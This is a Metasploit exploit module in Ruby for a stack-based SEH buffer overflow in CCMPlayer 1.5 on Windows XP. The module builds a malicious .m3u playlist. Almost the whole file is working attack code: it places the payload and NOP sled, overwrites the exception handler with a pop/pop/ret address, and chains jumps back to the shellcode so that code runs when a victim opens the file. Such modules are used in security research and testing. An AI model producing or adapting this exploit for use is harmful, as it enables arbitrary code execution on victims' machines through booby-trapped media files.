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# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u) # Date: 30 Nov 2011 # Author: Rh0 # Software: CCMPlayer 1.5 # Tested on: Windows XP SP3 32-Bit EN (VirtualBox) require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)', 'Description'=> %q{ This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening a m3u playlist with a long track name, a SEH exception record can be overwritten with parts of the controllable buffer. SEH execution is triggered after an invalid read of an injectible address, thus allowing arbitrary code execution. }, 'License'=> MSF_LICENSE, 'Author' => ['Rh0'], # discovery and metasploit module 'Version'=> '0.0', 'References' => [ # for info about "DisapleNops" and "StackAdjustment" ['URL', 'http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'], # for metasploit fileformat exploit structure and use of Metasm ['URL', 'http://www.exploit-db.com/exploits/18142/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space' => 0x1000, 'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\ 'DisableNops' => 'True', 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'CCMPlayer 1.5 on Windows XP SP3 EN', { # pop esi / pop ebx / ret (in ccmplay.exe) # tweak it if necessary 'Ret' => 0x00403ca7, # last NULL in buffer is accepted 'Offset' => 0x1000 } ] ], 'Privileged' => false, 'DisclosureDate' => '30 Nov 2011', # to my knowledge 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.m3u']), ], self.class) end def exploit m3u = "C:\\" # shellcode m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25 m3u << payload.encoded # junk m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length)) # need an access violation when reading next 4 bytes as address (0xFFFFFFFF) # to trigger SEH m3u << [0xffffffff].pack("V") # pad m3u << rand_text_alpha_upper(3) # long jmp: jmp far back to shellcode m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string # NSEH: jmp short back to long jmp instruction m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes) m3u << rand_text_alpha_upper(2) # SEH Exception Handler Address -> p/p/r m3u << [target.ret].pack("V") m3u << ".mp3\r\n" # no crash without it print_status("Creating '#{datastore['FILENAME']}' file ...") # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit file_create(m3u) end end |
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